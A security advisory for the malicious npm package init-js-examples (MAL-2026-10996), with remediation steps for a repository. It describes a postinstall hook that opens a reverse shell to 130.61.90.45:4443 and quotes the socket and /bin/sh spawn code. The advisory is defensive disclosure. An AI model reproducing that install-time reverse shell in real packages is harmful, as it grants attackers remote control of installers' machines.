MAL-2026-10996 Malicious code in init-js-examples (npm)
Malicious package
Published
MAL-2026-10996 is a malicious package: init-js-examples (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-10996/ (Markdown: https://insights.sbomify.com/MAL-2026-10996/index.md)
- Package
- init-js-examples
- Registry
- npm
What is MAL-2026-10996?
MAL-2026-10996 is a malicious package in init-js-examples, published on 22 Jul 2026.
Official description
The package's postinstall lifecycle hook runs setup.js, which opens a TCP socket to the hardcoded remote endpoint 130.61.90.45:4443 and wires the socket's input/output to a /bin/sh child process (net.Socket().connect(4443, "130.61.90.45") with cp.spawn("/bin/sh") and bidirectional pipes between the socket and the shell). Because package.json declares postinstall to invoke this script, running
npm install init-js-examples automatically grants the remote endpoint interactive shell access on the installer's host, resulting in full remote code execution and a persistent backdoor.What should I do about MAL-2026-10996?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.